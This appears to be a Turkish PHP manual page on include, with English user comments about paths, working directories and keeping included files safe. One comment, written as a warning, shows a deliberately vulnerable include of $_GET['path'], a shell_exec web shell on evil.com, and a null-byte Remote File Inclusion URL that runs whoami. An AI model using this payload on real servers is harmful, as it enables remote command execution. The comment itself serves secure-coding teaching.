This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
(PHP 4, PHP 5, PHP 7, PHP 8)
include
ifadesi belirtilen dosyayı betiğe ekler ve
içeriğini değerlendirir.
Betiğe dahil edilecek dosyalar önce belirtilen dizinde aranır, eğer bir dizin
belirtilmemişse include_path
yönergesinde belirtilen yollarda aranır. Dosya
include_path içinde yoksa
include
son çare olarak çağrıcı betiğin kendi dizinine ve o
anki çalışma dizinine bakar, bulamazsa bir E_WARNING
çıktılar; require için bu davranış bir
E_ERROR
olarak kendini gösterir.
Son E_WARNING
veya E_ERROR
çıktılanmadan önce, dosyaya erişilemiyorsa, include
ve
require
, her ikisi de sırayla ek
E_WARNING
'leri çıktılar.
Bir dizin belirtilmişse - mutlak (Windows'ta bir sürücü harfi veya
\
ile başlıyorsa veya Unix sistemlerinde
/
ile başlıyorsa) veya geçerli dizine göreli
(.
veya ..
ile başlıyorsa)- include_path yönergesine bakılmaz. Örneğin
bir dosya ../
ili başlıyorsa PHP çözümleyicisi dosyayı
betiğin bulunduğu dizinin üst dizininde arayacaktır.
PHP'nin dahil edilen dosyaları nasıl ele aldığı include_path yönergesinin açıklamasında ayrıntılı olarak anlatılmıştır.
Bir dosya bir betiğe dahil edildiğinde, bu dosyanın içerdiği kod, dosyanın dahil edildiği satır itibariyle ana betikte geçerli olan değişken uzayını miras alır. Yani, dosyanın dahil edildiği satıra kadar mevcut değişkenlerin hepsi dahil edilen dosyanın içinde kullanılabilir olacaktır. Bunun yanında, dahil edilen dosyada tanımlanmış işlevlerin ve sınıfların tamamı ana betiğin genelinde tanımlanmış sayılır.
Örnek 1 - Basit bir include
örneği
vars.php
<?php
$renk = 'yeşil';
$meyve = 'elma';
?>
dnm.php
<?php
echo "Bir $renk $meyve"; // -> Bir
include 'vars.php';
echo "Bir $renk $meyve"; // -> Bir yeşil elma
?>
include
deyimi, bir işlevin içinde kullanılırsa dahil
edilmek istenen dosyanın içindeki tüm kodlar sanki o işlev içinde
tanımlanmış gibi çalıştırılacaktır. Bu durumda dahil edilen dosyadaki
kodlar, işlevin, dosyanın dahil edildiği noktadaki değişken uzayını
miras alacaktır. Bu kuralın istisnası dosya dahil edilmeden önce
çözümleyici tarafından işleme sokulan sihirli sabitlerdir.
Örnek 2 - İşlev içi include
kullanımı
<?php
function foo()
{
global $renk;
include 'vars.php';
echo 'Bir $renk $meyve';
}
/* vars.php, foo() işlevinin etki alanındadır
* dolayısıyla $meyve bu alanın dışında
* kullanılamamaktadır. $renk ise global olarak
* tanımlandığından kullanılabilir
*/
foo(); // Bir yeşil elma
echo 'Bir $renk $meyve'; // Bir yeşil
?>
Bir dosya bir betiğe dahil edildiğinde, çözümleme işlemi PHP kipinden çıkıp hedef dosyanın başlangıcında HTML kipine geçer ve dosyanın sonuna kadar HTML kipinde kalır. Bu sebeple, hedef dosyanın içindeki kodlardan PHP kodları olarak çalıştırılacaklar PHP başlangıç ve bitiş etiketleri arasına alınmalıdır.
"URL include sarmalayıcıları"
PHP'de etkinleştirilmiş ise (öntanımlı yapılandırmada etkindirler),
include
deyiminde yerel dosya yolu belirtmek yerine
(HTTP ya da desteklenen başka bir sarmalayıcı üzerinden - Desteklenen Protokoller ve Sarmalayıcılar bölümününe bakınız) bir URL kullanabilirsiniz.
Hedef sunucu, hedef dosyayı PHP kodu olarak çalıştırabiliyorsa, ana
betikteki değişkenler dahil edilen dosyaya bir URL istek dizgesi olarak
HTTP GET ile aktarılabilir. Bu durum dahil edilen dosyaya ana dosyanın
değişken uzayını miras olarak bırakmaktan biraz farklı bir şeydir; betik
aslında uzak sunucuda çalıştırılıp yerel betiğe sonuçlar dahil
edilmektedir.
Örnek 3 - HTTP üzerinden include
<?php
/* Bu örnekte mesela.dom sitesinin .php uzantılı dosyaları
* çalıştırabildiği ama .txt uzantılıları çalıştırmadığı
* varsayılmıştır. Ayrıca, buradaki 'Çalışır'ın manası
* $foo ve $bar değişkenlerinin dahil edilen dosyada kullanılabilir
* olduğudur. */
// Çalışmaz; dosya.txt dosyası mesela.dom sitesinde çalıştırılmaz
include 'http://mesela.dom/dosya.txt?foo=1&bar=2';
// Çalışmaz; yerel dosya sisteminde 'dosya.php?foo=1&bar=2'
// adında bir dosya olarak aranır.
include 'dosya.php?foo=1&bar=2';
// Çalışır.
include 'http://www.example.com/dosya.php?foo=1&bar=2';
?>
Uzaktaki dosya uzaktaki sunucu tarafından işlenebilir (dosyanın uzantısına ve uzaktaki sunucunun PHP çalıştırıp çalıştırmadığına bağlı olarak). Ancak, elde edilecek çıktı yerel sunucuda çalıştırılacağından bu işlemin sonucu mutlaka geçerli bir PHP betiği üretmek olmalıdır. Dosyanın uzaktaki sunucuda işlenip sadece sonucun çıktılanmasını istiyorsanız readfile() işlevi daha iyi bir seçim olacaktır. Aksi takdirde, uzakta çalıştırılan betiğin geçerli ve istenen kodu üretebilmesini güvence altına alabilmek için özel bir çaba harcamak gerekir.
Ayrıca, bu konuyla ilgili olarak Uzaktaki dosyaların kullanımı belgesiyle fopen() ve file() işlevlerine de bakınız.
return
kullanımı: include
başarısız
olursa FALSE
döndürür ve bir uyarı verir. Başarılı
olursa, içerildikleri dosya tarafından aksi belirtilmedikçe
1
döndürür. Dahil edilen dosyanın içersinde, bu
dosyanın işlenmesi durdurmak ve dahil eden betiğe geri dönmek için
return kullanılabilir. Ayrıca, dahil edilen
dosyalardan değer döndürmek de mümkündür. Normal bir işlevde olduğu
gibi, include
çağrısından elde edilen değeri bir
değişkene atayabilirsiniz. Ancak bu durum, uzaktaki dosyalar için,
sadece uzaktaki dosyanın çıktısı geçerli PHP başlangıç ve bitiş
etiketlerine sahipse (herhangi yerel bir dosyada olduğu gibi),
kullanılabilir. Gerekli değişkenler bu etiketlerin arasında
tanımlandığında dosyanın dahil edildiği noktadan itibaren kullanılabilir
olacaklardır.
include
özel bir dil oluşumu olduğundan,
bağımsız değişkeninin parantez içine alınması gerekmez. Dönüş değerini
karşılaştırırken buna dikkat edin.
Örnek 4 - include
dönüş değerinin karşılaştırılması
<?php
// çalışmaz, include(('vars.php') == TRUE) olarak değerlendirilir,
// sonuç include('1') olur
if (include('vars.php') == TRUE) {
echo 'TAMAM';
}
// çalışır
if ((include 'vars.php') == TRUE) {
echo 'TAMAM';
}
?>
Örnek 5 - include
ve return
deyimleri
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // 'PHP' basar
$bar = include 'noreturn.php';
echo $bar; // 1 basar
?>
include
işlemi başarılı olduğundan
$bar
, 1
değerine sahiptir.
Yukarıdaki örnekler arasındaki farklara dikkat edin. Birincisi
return deyimini dahil edilen dosyada kullanırken
ikincisi kullanmıyor. Dosya dahil edilemediği durumda, false
döndürülüyor ve bir E_WARNING
üretiliyor.
Dahil edilen dosyanın içinde tanımlanmış işlevler varsa, return deyiminden önce ya da sonra olduğundan bağımsız olarak ana betik içersinde kullanılabilirler. Dosya iki defa dahil edilmişse, PHP ölümcül hata verir çünkü bildirilmiş işlevler tekrar bildirilmeye calışılmış olur. Dosyanın halihazırda dahil edilip edilmediğini kendiniz tespit edip koşula bağlı return çalıştırmak yerine, include_once kullanmanız önerilir.
Bir PHP dosyasını bir değişkene "dahil" etmenin diğer bir yolu, çıktıyı
Çıktı Denetim İşlevlerini
include
ile birlikte kullanarak yakalamaktır. Örnek:
Örnek 6 - Bir PHP dosyasını bir dizgeye dahil etmek için tampon kullanımı
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}
?>
Betiğinize dosyaları otomatik olarak dahil etmek için, php.ini içersindeki auto_prepend_file ve auto_append_file yapılandırma seçeneklerini inceleyebilirsiniz.
Bilginize: Bu bir işlev değil, dil oluşumu olduğundan değişken işlevler veya isimli bağımsız değişkenler kullanılarak çağrılamaz.
Ayrıca, require, require_once, include_once, readfile(), virtual() ve include_path'a da bakınız.
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
<?php
# index.php
define('what', 'ever');
include 'includeFile.php';
# includeFile.php
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
<?php
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . '/../src/includeFile.php';
?>
Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec($_GET['command']);?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.
In the Example #2 Including within functions, the last two comments should be reversed I believe.
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.